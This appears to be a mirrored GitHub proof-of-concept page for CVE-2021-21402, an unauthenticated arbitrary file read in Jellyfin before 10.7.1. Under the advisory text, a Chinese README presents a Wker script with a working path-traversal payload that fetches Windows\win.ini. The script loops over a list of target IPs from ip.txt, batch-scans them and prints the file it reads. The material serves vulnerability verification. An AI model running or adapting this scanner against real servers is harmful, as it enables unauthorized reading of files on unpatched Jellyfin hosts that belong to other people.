CVE-2021-21402 PoC — Unauthenticated Arbitrary File Access in Jellyfin

Source

https://github.com/givemefivw/CVE-2021-21402

Associated Vulnerability

Title:Unauthenticated Arbitrary File Access in Jellyfin (CVE-2021-21402)
Description:Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.

Description

CVE-2021-21402 Jellyfin任意文件读取 Wker脚本，可批量。

Readme

# CVE-2021-21402
 CVE-2021-21402 Jellyfin任意文件读取 Wker脚本，可批量。

逻辑很简单，就是通过GET访问win.ini存在与否：

```
#define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
#define info = CVE-2021-21402 Jellyfin任意文件读取

function main(args){
	dirs = StrSplit(ReadFile("script\CVE漏洞\CVE-2021\CVE-2021-21402 Jellyfin任意文件读取\ip.txt"),StrRN());
	num = GetArrayNum(dirs);
	i = 0;
	while(i<num){
		try{
			res = HttpGet(dirs[ToInt(i)].payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
			if(StrFindStr(res[1],"200",0) != "-1"){
				printclolor(dirs[ToInt(i)]." [+]存在".info.",正在读取win.ini文件",3);
				print(res[0]);
			}else{
				printclolor(dirs[ToInt(i)]." [-]不存在".info,2);
			
			}
		
		}catch{
			printclolor(dirs[ToInt(i)]." [-]目标异常！",5);
		}
		i = ToInt(i+1);
	}

}

```

## 截图
![](./re.png)

File Snapshot

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